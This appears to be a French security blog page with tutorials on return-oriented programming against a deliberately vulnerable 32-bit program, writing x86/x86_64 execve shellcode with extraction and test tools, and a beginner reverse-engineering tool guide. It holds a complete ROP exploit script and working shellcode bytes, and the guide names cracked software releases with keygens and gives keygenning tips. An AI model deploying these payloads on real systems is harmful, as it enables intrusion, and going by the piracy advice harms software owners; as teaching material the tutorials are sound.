Return-Oriented Programming sur GNU/Linux

Publié le 26 septembre 2014 par opc0de

* Qu’est ce que le Return-Oriented Programming ? *

Le ROP est une technique d’exploitation sans injection de code. Cette technique permet de bypasser certaines protections contre les attaques de type buffer overflow. Ces restrictions sont entre autre le NX (Never eXecute) bit qui désactive l’exécution de code sur la stack et l’aslr (Address Space Layout Randomization) qui randomize les positions des zones de données clés d’un programme dans l’espace d’adressage.

* Concept d’un ROP *

Le concept d’un ROP est simple mais délicat : il s’agit d’utiliser de petites séquences d’instructions déjà disponibles dans le binaire ou dans les librairies qui lui sont linkées. Chaque séquence d’instructions doit se terminer par l’instruction « ret » (0xc3) afin de pouvoir exécuter l’intégralité de ces séquences. C’est pourquoi ce type d’exploitation est appelé « Return-Oriented ».

En programmation ordinaire, le pointeur d’instruction, soit le registre eip, détermine quelle instruction va être récupérée et exécutée. Une fois l’instruction exécutée par le processeur, eip est automatiquement incrémenté et pointe donc sur la prochaine instruction.

En programmation de type ROP, c’est le pointeur de stack, soit le registre esp qui détermine quelle séquence d’instructions va être récupérée et exécutée. Mais contrairement à eip, le registre esp n’est pas automatiquement incrémenté. On ne passe donc pas à la prochaine instruction spontanément, c’est grâce à l’instruction ret que l’on va passer à la séquence d’instructions suivante. Pour rappel, à l’appel de l’instruction ret, le contenu de la stack (soit l’adresse de la prochaine séquence d’instructions) est dépilé puis exécuté.

Une séquence d’instructions se terminant par un ret est appelée un « gadget ».

* Les ROP gadgets *

Comme nous venons de le voir, un ROP gadget est une séquence d’instructions se terminant par l’instruction « ret ». Il existe deux types de gadgets :

Les « intended gadgets »

Ce sont les gadgets provenant d’instructions directement fournis par le développeur.

Exemple : (from objdump -d ./vuln) :

1 2	8051f60: 31 c0 xor eax,eax 8051f62: c3 ret

Ici à l’adresse 0x08051f60, nous avons le gadget « xor eax, eax » (31 c0 c3).

Les « unintended gadgets »

Ce sont à l’inverse des gadgets non fournis par le développeur, ils sont donc « involontaires ».

Exemple : (from objdump -d ./vuln) :

1 2	80b7af3: 8b 44 90 40 mov eax,DWORD PTR [eax+edx*4+0x40] 80b7af7: c3 ret

Ici et « involontairement » nous avons le gadget « inc eax » (40 c3) à l’adresse 0x080b7af6 (0x080b7af3 + 3).

* Comment trouver un gadget ? *

Pour trouver les gadgets disponibles dans un binaire, il faut lire la section .text avec par exemple readelf ou un désassembler pour rechercher toutes les instructions « ret » (0xc3). Ensuite, pour chaque « ret » trouvé, on regarde en arrière pour savoir si les bytes qui le précèdent forment une ou des séquences d’instructions valides. Une fois tous les gadgets trouvés et notés, il ne reste plus qu’à former notre shellcode.

Pour faciliter la tache, il existe de nombreux outils pour trouver les gadgets disponibles dans un binaire. Celui que j’utilise est le suivant : https://github.com/JonathanSalwan/ROPgadget/tree/master

* Exemple d’exploitation *

L’exploitation va consister à exécuter ‘execve("/bin/sh", 0, 0);’ depuis le programme vulnérable suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buf[128];

if (argc != 2)
{
fprintf(stderr, "supply the string in argument\n");
return 1;
}

else
strcpy(buf, argv[1]);

return (0);
}

Dans cet exemple, pour avoir plus de code dans la section .text, je vais le compiler avec l’option -static. Nous travaillerons ici sur du 32 bits.

1	$ gcc -static -m32 vuln.c -o vuln

Comme on peut le voir dans ce tutoriel : https://www.re-xe.com//shellcode-x86-et-x86_64/, on doit placer la string « /bin/sh » dans le premier argument ebx, 0 dans ecx et edx puis le syscall 11 (0xb) dans eax pour exécuter notre shell grâce à l’instruction int 0x80.

Premièrement, on doit trouver un endroit dans la mémoire où écrire cette string « /bin/sh ». Une façon d’y parvenir est d’utiliser le segment de données, autrement dit la section « .data ».

Pour la trouver on utilise gdb :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) info file
Symbols from "/home/opc0de/ROP/vuln".
Local exec file:
'/home/opc0de/ROP/vuln', file type elf32-i386.
Entry point: 0x8048bdc
0x080480f4 - 0x08048114 is .note.ABI-tag
0x08048114 - 0x08048138 is .note.gnu.build-id
0x08048138 - 0x080481b0 is .rel.plt
0x080481b0 - 0x080481d3 is .init
0x080481e0 - 0x080482d0 is .plt
0x080482d0 - 0x080bf39c is .text
0x080bf3a0 - 0x080bf416 is __libc_thread_freeres_fn
0x080bf420 - 0x080c0dd2 is __libc_freeres_fn
0x080c0dd4 - 0x080c0de8 is .fini
0x080c0e00 - 0x080d7ee4 is .rodata
0x080d7ee4 - 0x080d7ee5 is .stapsdt.base
0x080d7ee8 - 0x080d7eec is __libc_thread_subfreeres
0x080d7eec - 0x080d7f18 is __libc_subfreeres
0x080d7f18 - 0x080d7f1c is __libc_atexit
0x080d7f1c - 0x080e5fec is .eh_frame
0x080e5fec - 0x080e6082 is .gcc_except_table
0x080e7f4c - 0x080e7f5c is .tdata
0x080e7f5c - 0x080e7f74 is .tbss
0x080e7f5c - 0x080e7f64 is .init_array
0x080e7f64 - 0x080e7f6c is .fini_array
0x080e7f6c - 0x080e7f70 is .jcr
0x080e7f80 - 0x080e7ff0 is .data.rel.ro
0x080e7ff0 - 0x080e7ff8 is .got
0x080e8000 - 0x080e8048 is .got.plt
0x080e8060 - 0x080e8f88 is .data
0x080e8fa0 - 0x080ea58c is .bss
0x080ea58c - 0x080ea5a4 is __libc_freeres_ptrs
(gdb)

La section .data se trouve donc à l’adresse 0x080e8060.

Cherchons maintenant la taille exacte de la chaîne de caractère à donner en argument pour écraser eip et obtenir notre erreur de segmentation.

1
2
3
4
5
6
7
8

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) r `python -c 'print "a" * 140 + "bcde"'`
Starting program: /home/opc0de/ROP/vuln `python -c 'print "a" * 140 + "bcde"'`

Program received signal SIGSEGV, Segmentation fault.
0x65646362 in ?? ()
(gdb)

Le programme plante sur l’adresse 0x65646362 qui correspond dans la table ASCII à : ‘e’ pour 0x65, à ‘d’ pour 0x64, à ‘c’ pour 0x63 et ‘b’ pour 0x62.
140 est donc la taille de padding exacte à donner au buffer avant de pouvoir écraser notre registre eip.

Pour la suite je vais détailler l’exploit obtenu à partir de l’outil ROPgadget :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

#!/usr/bin/python

from struct import pack

p = 'a'*140 # Padding goes here
# Dans cette première partie on définit tout simplement le padding

p += pack("<I", 0x08056feb) # pop edx ; ret
p += pack("<I", 0x080e8060) # @ .data
# Après ces deux lignes le registre edx pointe sur la section .data

p += pack("<I", 0x080bcbb6) # pop eax ; ret
p += "/bin" # /bin
# Le registre eax contient maintenant la string "/bin"

p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
# On place la string "/bin" dans edx, donc dans .data

p += pack("<I", 0x08056feb) # pop edx ; ret
p += pack("<I", 0x080e8064) # @ .data + 4
# Le registre edx pointe sur .data + 4

p += pack("<I", 0x080bcbb6) # pop eax ; ret
p += "//sh" # //sh
# Maintenant eax contient la string "//sh", le deuxième "/" est utilisé pour avoir exactement 4 octets dans eax

p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
# La section .data contient donc maintenant "/bin//sh"

p += pack("<I", 0x08056feb) # pop edx ; ret
p += pack("<I", 0x080e8068) # @ .data + 8
# Le registre edx pointe sur la section .data + 8

p += pack("<I", 0x08051f60) # xor eax, eax ; ret
# Le registre eax est remis à 0

p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
# La section .data contient maintenant la string null-terminated "/bin//sh"

p += pack("<I", 0x080481d1) # pop ebx ; ret
p += pack("<I", 0x080e8060) # @ .data
# Le registre ebx utilisé comme premier argument pour execve contient ce que nous venons de placer dans la section .data, soit notre string null-terminated "/bin//sh"

p += pack("<I", 0x080de179) # pop ecx ; ret
p += pack("<I", 0x080e8068) # @ .data + 8
# Le registre ecx utilisé comme deuxième argument contient maintenant 0

p += pack("<I", 0x08056feb) # pop edx ; ret
p += pack("<I", 0x080e8068) # @ .data + 8
# Même chose pour le troisième et dernier argument edx

p += pack("<I", 0x08051f60) # xor eax, eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
p += pack("<I", 0x080b7af6) # inc eax ; ret
# On set eax à 0 et on l'increment jusqu'à 11 (0xb), notre syscall

p += pack("<I", 0x080491cd) # int 0x80
# on exécute le syscall

print p
# et on termine par afficher le tout.

Pour finir, exécutons notre exploit en tant qu’argument à notre programme vulnérable :

1 2	$ ./vuln `./sploit.py` sh-4.2$

Parfait, notre shell a bien été exécuté 🙂

Publié dans Exploitation, Reversing | Marqué avec ROP | Laisser un commentaire

Les shellcodes x86 et x86_64 sur GNU/Linux

Publié le 26 septembre 2014 par opc0de

0x1 – Définition

Les shellcodes sont utilisés le plus souvent comme code arbitraire ou malveillant que l’on injecte dans la mémoire d’un programme vulnérable.

Un shellcode a la forme d’une chaîne de caractères sous forme hexadécimale contenant en réalité une suite d’instructions assembleur permettant le plus souvent de générer un shell ou une invite de commande.

0x2 – Les appels systèmes

Pour concevoir un shellcode GNU/Linux on utilise les appels système (syscall) qui sont idéntifiés par des numéros et doivent être placés dans le registre eax en x86 et rax en x86_64.

Certains syscall ont besoin d’arguments pour pouvoir fonctionner, ces arguments lorsqu’ils ne dépassent pas le nombre de 6 sont placés dans des registres.

Sur une architecture x86, le premier registre d’argument est le registre ebx, le second est ecx, le troisème edx, le quatrième esi, puis edi et le dernier est le registre ebp.

Alors que pour une architecture x86_64, les registres sont dans l’odre: rdi, rsi, rdx, rcx, r8, et r9.

Pour les syscall nécessitants plus de 6 arguments, une structure contenant tous les arguments est donnée en premier et unique argument, donc dans le registre ebx pour x86 et rdi pour x86_64.

Une fois les arguments placés dans les registres adéquats, on exécute le syscall grâce à l’instruction « int 0x80 » en x86 et « syscall » en x86_64.

Pour connaître le numéro ou identifiant d’un syscall, on peut regarder dans les fichiers « /usr/include/asm/unistd_32.h » et « /usr/include/asm/unistd_64.h » selon l’architecture.

0x3 – Écriture du shellcode x86

Dans ce document le but de notre shellcode sera de lancer un shell « /bin/sh ». Pour exécuter ce shell nous allons utiliser la fonction execve dont le prototype est :

1 2	int execve(const char filename, char const argv[], char *const envp[]);

On peut voir dans ce prototype que la fonction execve prend 3 arguments. Le premier : un pointeur vers la string contenant la commande à exécuter, le deuxième : un tableau d’arguments pour la commande et le troisième : un tableau de variables d’environnement.

Avant de s’attaquer au code assembleur, regardons à quoi cela ressemblerait en langage C :

1
2
3
4
5
6

#include <unistd.h>

void main(void)
{
execve("/bin/sh", 0, 0);
}

Passons maintenant au code assembleur.

Avec la commande « grep » on peut facilement trouver le syscall d’execve :

1 2	$ grep execve /usr/include/asm/unistd_32.h #define __NR_execve 11

En ce qui concerne la string « /bin/sh » dont nous avons besoin pour la fonction execve(), il existe deux restrictions :

On ne peut pas utiliser la section réservée aux données, celle nommée « .data » en assembleur.

Le shellcode ne doit pas contenir de NULL byte, donc on ne peut pas utiliser le caractère de fin de chaîne en C, à savoir : ‘\0’.

Pour contourner ces deux restrictions, on va utiliser une petite technique utilisant les instructions jmp, call et pop.

Voici le code commenté de cette technique :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

section .text

global _start

_start:

xor ebx,ebx ; on met ebx à 0, donc bl aussi
jmp getString ; on jump sur getString

getStringReturn:
pop ecx ; on pop dans ecx le haut de la stack,
; soit le ptr sur notre string "hello world#"
mov [ecx+11],bl ; on écrase le '#' par bl, donc 0

getString:
; le call va pusher sur la stack l'adresse de l'instruction qui suit,
; soit l'adresse de notre string "hello world#"
call getStringReturn
db "hello world#"

Nous avons donc maintenant toutes les connaissances nécessaires à l’écriture de notre shellcode devant exécuter « /bin/sh » grâce à la fonction execve() :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

section .text

global _start

_start:

jmp GetString

GetStringReturn:
pop esi ; esi = ptr sur "/bin/sh#"
xor eax,eax ; eax = 0
mov byte [esi+7],al ; on écrase le '#' ; esi = ptr sur "/bin/sh"
mov dword [esi+8],eax ; esi+8 = 0

mov al, 0xb ; on place le syscall (11) dans eax

lea ebx,[esi] ; premier argument = "/bin/sh"
lea ecx,[esi+8] ; second argument = 0
lea edx,[esi+8] ; troisième argument = 0

int 0x80 ; on exécute le syscall

GetString:
call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack
db "/bin/sh#"

On assemble ce code avec nasm de la façon suivante :

1 2	$ nasm -f elf32 shellcode.asm $ ld shellcode.o -o shellcode -m elf_i386

Maintenant il nous faut obtenir les bytes qui vont former notre shellcode pour pouvoir l’injecter dans la mémoire du programme vulnérable.

On peut obtenir ces bytes avec l’outil objdump de cette façon :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

$ objdump -d ./shellcode

./shellcode: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060: eb 15 jmp 8048077 <GetString>

08048062 <GetStringReturn>:
8048062: 5e pop %esi
8048063: 31 c0 xor %eax,%eax
8048065: 88 46 07 mov %al,0x7(%esi)
8048068: 89 46 08 mov %eax,0x8(%esi)
804806b: b0 0b mov $0xb,%al
804806d: 8d 1e lea (%esi),%ebx
804806f: 8d 4e 08 lea 0x8(%esi),%ecx
8048072: 8d 56 08 lea 0x8(%esi),%edx
8048075: cd 80 int $0x80

08048077 <GetString>:
8048077: e8 e6 ff ff ff call 8048062 <GetStringReturn>
804807c: 2f das
804807d: 62 69 6e bound %ebp,0x6e(%ecx)
8048080: 2f das
8048081: 73 68 jae 80480eb <GetString+0x74>
8048083: 23 .byte 0x23

0x4 – get-shellcode-32

On peut aussi utiliser mon outil « get-shellcode-32.c » qui affiche directement la string à placer dans l’exploit, voici le code de cet outil :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>

void print_shellcode_32 (unsigned char *data);

int
main (int argc, char *argv[])
{
int fd;
struct stat sb;
unsigned char *data;
unsigned char *text;

if (argc != 2) {
fprintf (stderr, "usage: %s <bin>\n", argv[0]);
return (1);
}

if ((fd = open (argv[1], O_RDONLY)) == -1) {
perror ("error: open");
exit (EXIT_FAILURE);
}

if ((fstat (fd, &sb)) == -1) {
perror("error: fstat");
exit (EXIT_FAILURE);
}

if ((data = (unsigned char *)mmap (0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
perror ("error: mmap");
exit (EXIT_FAILURE);
}

if((strncmp (data, ELFMAG, 4)) != 0) {
fprintf (stderr, "error: bin: Not an ELF file\n");
exit (EXIT_FAILURE);
}

if (data[EI_CLASS] == ELFCLASS32)
print_shellcode_32 (data);
else {
fprintf (stderr, "error: bin: Unknown architecture\n");
exit (EXIT_FAILURE);
}

close (fd);

return 0;
}

void
print_shellcode_32 (unsigned char *data)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr *)data;
Elf32_Shdr *shdr = (Elf32_Shdr *)(data + ehdr->e_shoff);
unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
unsigned char *pbyte;
Elf32_Off offset = 0;
uint32_t size = 0, n = 0;
int i;

for (i = 0; i < ehdr->e_shnum; i++) {
if (!strcmp (strtab + shdr[i].sh_name, ".text")) {
offset = shdr[i].sh_offset;
size = shdr[i].sh_size;
break;
}
}

if (!offset && !size) {
fprintf (stderr, "error: bin: No .text section\n");
exit (EXIT_FAILURE);
}

pbyte = data + offset;

printf (""");

while (n < size) {
printf ("\\x%.2x", *pbyte);

pbyte++;
n++;

if (!(n % 15))
printf (""\n"");
}

if (n % 15)
printf (""");

printf ("\n");
}

Exemple d’utilisation :

1
2
3
4

$ ./get-shellcode-32 shellcode
"\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e"
"\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x23"

0x5 – Écriture du shellcode x86_64

Ici le principe étant le même, on va simplement réécrire le même shellcode mais pour une architecture x86_64 :

1 2	$ grep execve /usr/include/asm/unistd_64.h #define __NR_execve 59

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

section .text

global _start

_start:

jmp GetString

GetStringReturn:
pop rbx ; rbx = ptr sur "/bin/sh#"
xor rax,rax ; rax = 0
mov byte [rbx+7],al ; on écrase le '#' ; rbx = ptr sur "/bin/sh"
mov qword [rbx+8],rax ; rbx+8 = 0

mov al, 0x3b ; on place le syscall (59) dans rax

lea rdi,[rbx] ; premier argument = "/bin/sh"
lea rsi,[rbx+8] ; second argument = 0
lea rdx,[rbx+8] ; troisième argument = 0

syscall ; on exécute le syscall

GetString:
call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack
db "/bin/sh#"

On assemble cette fois-ci le code avec les deux commandes :

1 2	$ nasm -f elf64 shellcode.asm $ ld shellcode.o -o shellcode -m elf_x86_64

0x6 – Get-shellcode-64

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>

void print_shellcode_64 (unsigned char *data);

int
main (int argc, char *argv[])
{
int fd;
struct stat sb;
unsigned char *data;
unsigned char *text;

if (argc != 2) {
fprintf (stderr, "usage: %s <bin>\n", argv[0]);
return (1);
}

if ((fd = open (argv[1], O_RDONLY)) == -1) {
perror ("error: open");
exit (EXIT_FAILURE);
}

if ((fstat (fd, &sb)) == -1) {
perror("error: fstat");
exit (EXIT_FAILURE);
}

if ((data = (unsigned char *)mmap (0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
perror ("error: mmap");
exit (EXIT_FAILURE);
}

if((strncmp (data, ELFMAG, 4)) != 0) {
fprintf (stderr, "error: bin: Not an ELF file\n");
exit (EXIT_FAILURE);
}

if (data[EI_CLASS] == ELFCLASS64)
print_shellcode_64 (data);
else {
fprintf (stderr, "error: bin: Unknown architecture\n");
exit (EXIT_FAILURE);
}

close (fd);

return 0;
}

void
print_shellcode_64 (unsigned char *data)
{
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
unsigned char *pbyte;
Elf64_Off offset = 0;
uint64_t size = 0, n = 0;
int i;

for (i = 0; i < ehdr->e_shnum; i++) {
if (!strcmp (strtab + shdr[i].sh_name, ".text")) {
offset = shdr[i].sh_offset;
size = shdr[i].sh_size;
break;
}
}

if (!offset && !size) {
fprintf (stderr, "error: bin: No .text section\n");
exit (EXIT_FAILURE);
}

pbyte = data + offset;

printf (""");

while (n < size) {
printf ("\\x%.2x", *pbyte);

pbyte++;
n++;

if (!(n % 15))
printf (""\n"");
}

if (n % 15)
printf (""");

printf ("\n");
}

Utilisation :

1
2
3
4

$ ./get-shellcode-64 shellcode-64
"\xeb\x1a\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x43\x08\xb0\x3b"
"\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x08\x0f\x05\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"

0x7 – Test du shellcode

Si on veut tester les shellcodes, il faut passer par un programme C intermédiaire (test-shellcode.c) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

char sc[] = "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e"
"\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x23";

void main()
{
printf("sc length: %u\n", strlen(sc));

void * a = mmap(0, sizeof(sc), PROT_EXEC | PROT_READ |
PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);

((void (*)(void)) memcpy(a, sc, sizeof(sc)))();
}

1
2
3

$ ./test-shellcode
sc length: 36
sh-4.2$

Voilà, on a bien obtenue notre shell « /bin/sh ». On a plus qu’à l’utiliser dans une exploitation de type buffer overflow par exemple.

Publié dans Shellcode | Marqué avec asm, linux, payload, shellcode | Laisser un commentaire

Guide à l’usage des débutants en RE

Publié le 12 novembre 2012 par Horgh

Ce post a pour but de répondre à 90% des questions que les débutants posent à chaque fois. Il va traiter les outils et les ressources de base nécessaires pour une bonne progression dans le domaine du Reverse Engineering. N’hésitez pas à passer sur notre irc si vous avez des questions section « contact ». Une dernière chose enfin, prenez le temps de chercher sur google plus de 30 secondes, de réfléchir à votre problème, et de lire la documentation disponible avant de poser des questions au risque d’exaspérer les gens qui y répondent. Au passage, c’est un peu le but de ce post de répertorier le tout afin que je n’ai plus à répondre à ces questions, et cela devrait certainement aider quelques personnes.

OUTILS DE BASE EN RE :

Vous trouverez ici une liste avec les outils de base requis pour faire la plupart des actions communes dans toutes les disciplines liées au RE. Vous pouvez trouver une bonne partie des logiciels mentionnés ici. Attention, certains ne sont pas à jour / pas présents dans le repo, à vous d’utiliser un petit peu google pour récupérer les dernières versions.

Editeur hexa :

X-Ways.WinHex.v16.6.SR-4.Incl.Keymaker-ZWT, Hiew v8+
Utilité : Analyse / édition de fichiers statiques ou d’exécutables.

Debuggeurs :

– OllyDbg v1.10 .
En plugins : phant0m / strongOd + ollydump + godup + commandbar + odbgscript
– OllyDbg v2.01g
Utilité : Permettre une analyse en ‘live’ du programme, aussi appelée analyse dynamique. Phant0m est un plugin pour contourner des antidebuggers. OllyDump sert à dumper des programmes en mémoire. Godup nous servira pour charger des .map d’ida. OdbgScript sert à exécuter des ollyscripts.
– Sysersoft.Syser.Kernel.Debugger.Enterprise.Edition.v1.99.1900.1220.Incl.KeyMaker-DVT
Utilité : Permet de debugger des drivers, de s’attaquer au debugging en ring0.

Désassembleur :

– Ida RDW pack, soit :
– Hex-Rays.IDA.Pro.Advanced.FLAIR.v6.1-RDW
– Hex-Rays.IDA.Pro.Advanced.IDS.Utilities.v6.1-RDW
– Hex-Rays.IDA.Pro.Advanced.LOADINT.v6.1-RDW
– Hex-Rays.IDA.Pro.Advanced.SDK.v6.1-RDW
– Hex-Rays.IDA.Pro.Advanced.TILIB.v6.1-RDW
– Hex-Rays.IDA.Pro.Advanced.v6.1.TVision.v2009b.Source-RDW
– Hex-Rays.IDA.Pro.Advanced.v6.1.Windows.incl.Hex-Rays.x86.Decompiler.v1.5.READ.NFO-RDW
En plugins : idapython, findcrypt, Zynamics.BinDiff.v4.0.1.Incl.Keyfilemaker.and.Patch-EMBRACE
En signatures : RESigs 0.18, des signatures pour delphi. On peut trouver beaucoup de signatures sur la RCE
Collaborative Tool Library ou ici.
Utilité : Permet de faire de l’analyse de programme en statique. Ida est un outil extrêmement puissant, mais difficile à maîtriser pour un débutant. Les plugins permettent encore d’étendre ses fonctions, tout comme pour OllyDbg. Idapython est très pratique pour exécuter des scripts python afin d’automatiser des tâches. Findcrypt sert à repérer les algorithmes cryptographiques et à les marquer. Bindiff permet de comparer deux exécutables entre eux pour déterminer les différences. Les signatures permettent quand à elles de nommer les fonctions reconnues de librairies, elles sont très utiles pour analyser du delphi ou des cibles utilisant des librairies cryptographiques.

Décompilateurs :

– Java : jdgui
– vb6 : VB.Decompiler.Pro.v8.3.RETAIL.INCL_KEYGEN+PATCH-FFF
– delphi : IDR, DeDe 3.5
– apk : APKtoJava RC2
Utilité : décompiler le code pour le retrouver sous une forme plus lisible et abordable que l’asm.

PE :

Explorer Suite, Lord PE 1.41 (Deluxe b), PETools.
Utilité : Editer les propriétés d’un exécutable via son PE Header.

IAT / Dump :

ImpRec v1.7e, ImpREC Plugin Pack, CHimpREC
Utilité : Reconstruire l’IAT de programmes unpackés. CHimpREC est utile pour l’unpacking x64.

Scanners :

PEiD 0.95, Protection ID 6.4, RDG Packer Detector
Utilité : Détection de compilateurs / protections connues via signatures.

Recherche de strings :

Bintext, strings, hexdive
Utilité : récupérer les SDR d’un fichier.

Editeur de ressources :

Reshacker v3.5
Utilité : Editer les ressources d’un exécutable.

Patcheur :

duP 2.26
Utilité : Pour générer des patchs.

Monitoring :

Process Explorer, Process Monitor, Regshot, API Monitor v2
Utilité : Permet de surveiller et de monitorer l’environnement durant l’exécution d’un programme. Très utile dans le cas d’analyse de malwares.

Réseau :

Wireshark, NetworkMiner, Fiddler
Utilité : Surveiller le réseau afin de découvrir le traffic d’applications. Utile en analyse de malwares.

.NET :

Red.Gate.Reflector.v7.5.2.1.Incl.Keygen-Lz0 / dotpeek, ILSpy, Reflexil, de4dot
Utilité : Décompiler et désobfusquer du .net.

Crypto / conversion :

Keygenner Assistant v2.1.0, RSA-Tool, x3chun Crypto Searcher, x3chun Hash Calculation, SnD Reverser Tool 1.4
Utilité : Utilitaires de conversion / de cryptographie. Indispensables.

ASM :

WinAsm Studio, MASM v10, nasm.
Utilité : Conseillé, vous aurez certainement besoin à un moment ou à un autre de coder en asm

Javascript :

Malzilla 1.2, Revelo 0.4, Firebug
Utilité : Désobfusquer du javascript. Utile en analyse de malwares.

SWF :

SWFTools, swfretools 1.10, Sothink.SWF.Decompiler.v7.3.4959-NGEN
Utilité : Décompiler du flash. Utile en analyse de malwares.

PDF :

PDF Stream Dumper
Utilité : Analyse de fichiers PDF. Utile en analyse de malwares.

Autres :

Python v2, UPX 3.07, Autoruns, Kernel Detective v1.4.1, OSRLoader
Python est nécessaire pour IDAPython. UPX est indispensable pour se simplifier la vie. Autoruns sert à monitorer toutes les entrées de démarrage, il est très utile en cas d’analyse de malwares. Kernel Detective est assez intéressant dans le cadre d’analyse de malwares se développant en ring0. OSRLoader sert à charger des drivers.

RESSOURCES DE BASE POUR LE RE :

Nous avons donc maintenant les outils requis, passons aux ressources de base. Ces ressources sont basées sur le nombre de fois qu’elles m’ont été demandé par des gens qui débutent, je pense donc qu’elles ont de l’intérêt ici.

Où télécharger des outils :

– http://www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools : RCE_Tools
– http://tuts4you.com/download.php

Débuter en Reverse engineering :

– http://www.forumcrack.com/web/deamonftp.free.fr/deamoncrack/ | En français
– http://forumcrack.com/web/Dynasty/ | En français
– http://tuts4you.com/download.php?list.17 | Vidéos, en anglais.
– http://opensecuritytraining.info/Training.html | Vidéos, en anglais

Débuter avec OllyDbg :

– Olly Beginner Tutorials Series par ARTeam | En anglais

Je rajouterai :

– Quand vous débutez, évitez les logiciels. Les protections sont bien souvent hors de votre portée, que ce soit au niveau unpacking ou keygenning. Préférez les crackmes, et n’hésitez pas à suivre des tutos en bidouillant à côté pour découvrir.

– Bidouillez ! Au début, on nage dans le code, on est dépassé par ce que l’on voit, mais l’asm se lit ensuite couramment avec l’habitude. N’hésitez donc surtout pas à sortir Olly et à tenter des choses, vous avez tout à y gagner.

– Quand vous keygenner un logiciel, prenez le problème depuis le haut en allant vers le bas. Je m’explique : rien ne sert de F7 chaque CALL pour essayer de voir ce qu’ils font et de se perdre dedans. Faites d’abord un aperçu avec F8, repérez les fonctions qui prennent des paramètres intéressants / renvoient des paramètres intéressants ; et au prochain tour seulement vous rentrerez dedans avec F7. Vous pouvez vite vous perdre à essayer de tout tracer et ne plus rien comprendre à la routine. Utilisez aussi toutes les ressources à votre disponibilité pour comprendre : les registres, la pile, les breakpoints de chaque forme. Le post de Lise_Grim que j’ai linké plus haut et à ce titre très intéressant car il explique comment réagir face à un programme.

– IDA a l’air repoussant au premier abord, mais c’est une aide précieuse. Même si vous ne vous en servez pas pour l’analyse, je vous conseille de charger la cible dedans, d’appliquer les signatures adéquates et d’exporter un .map avec toutes les informations. Vous chargez ensuite ce .map dans OllyDbg avec le plugin GoDUP et ça vous évitera des maux de têtes à essayer de reconnaître des fonctions à l’oeil.

– Evitez d’utiliser les unpackers et les ollyscripts, ça ne vous apportera rien. Le but c’est d’apprendre à unpacker / RE, pas de faire deux clics et d’éxécuter des scripts. Dans le même genre, on n’inverse pas les sauts : soit on les noppe, soit on les remplace par des JMP. Inverser un saut est une absurdité, si vous entrez un bon sérial vous aurez un message d’erreur. Une dernière chose : pas de patching à outrance. Le but c’est de comprendre le code, pas de le saccager salement.

